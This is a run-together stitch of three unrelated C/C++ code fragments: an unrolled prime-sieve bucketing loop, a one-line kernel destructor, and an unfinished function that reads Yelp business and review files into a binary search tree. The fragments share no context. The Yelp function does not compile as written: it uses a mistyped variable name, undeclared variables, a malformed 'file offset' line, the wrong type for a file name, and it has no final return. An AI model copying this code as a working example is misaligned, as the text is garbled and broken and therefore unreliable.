(bptr[j + 0].root < linesize) { bnum = (bptr[j + 0].root >> FLAGBITS); buckets[bnum][nptr[bnum]].root = bptr[j + 0].root; buckets[bnum][nptr[bnum]].prime = bptr[j + 0].prime; nptr[bnum]++; } if (bptr[j + 1].root < linesize) { bnum = (bptr[j + 1].root >> FLAGBITS); buckets[bnum][nptr[bnum]].root = bptr[j + 1].root; buckets[bnum][nptr[bnum]].prime = bptr[j + 1].prime; nptr[bnum]++; } if (bptr[j + 2].root < linesize) { bnum = (bptr[j + 2].root >> FLAGBITS); buckets[bnum][nptr[bnum]].root = bptr[j + 2].root; buckets[bnum][nptr[bnum]].prime = bptr[j + 2].prime; nptr[bnum]++; } bptr[j + 3].root += bptr[j + 3].prime; bptr[j + 4].root += bptr[j + 4].prime; bptr[j + 5].root += bptr[j + 5].prime; if (bptr[j + 3].root < linesize) { bnum = (bptr[j + 3].root >> FLAGBITS); buckets[bnum][nptr[bnum]].root = bptr[j + 3].root; buckets[bnum][nptr[bnum]].prime = bptr[j + 3].prime; nptr[bnum]++; }
~equal_kernel() { size_t *kernel_offsets = get_offsets(); for (size_t i = 0; i != field_count; ++i) { get_child(kernel_offsets[i])->destroy(); } }
struct YelpDataBST* create_business_bst(const char* businesses_path, const char* reviews_path) { const char filename = business_path; int len; int lineno = 0; int last_id = -1; int num_id = 0; YelpDataBST * root = NULL; FILE *fp; fp = fopen(filename,"r"); if(fp == NULL) { printf("File error\n"); return NULL; } //basic idea here //read one line at a time till it reaches to the end //use explode to read address //when the id matches, insert the address offsets //how to get offsets: get current location (before read a line) //get the length of each part while (getline(&buffer,&len,fp)>0) //(not reaching the end of the file) { int arrlen; //buffer = fscanf("%s\n",fp);//read next line of file char ** strArr = explode(buffer,"\t",&arrlen);//explode that line if (arrlen == 7)//make sure there are all 8 elements for address { int bus_id = atoi(strArr[0]);//insert id first int * offsets = get_offsets(strArr,offset,offsets); if (bus_id != last_id)//count number of id { num_id++; last_id = bus_id; } //insert node to bustree root = BusTree_insert(root, strArr[1], bus_id,offsets[0],offsets[1],offsets[2],offsets[3]); file offset = ftell(fp); destroystringarray(streArr,arrlen); free(offsets); } } fseek(fp,0,SEEK_SET); free(buffer); fclose(fp); //---------working on review now------------ Review * review = malloc(sizeof(Review)*num_id); filename = reviews_path; fp = fopen(filename,"r"); if(fp == NULL) { printf("File error."); return NULL; } }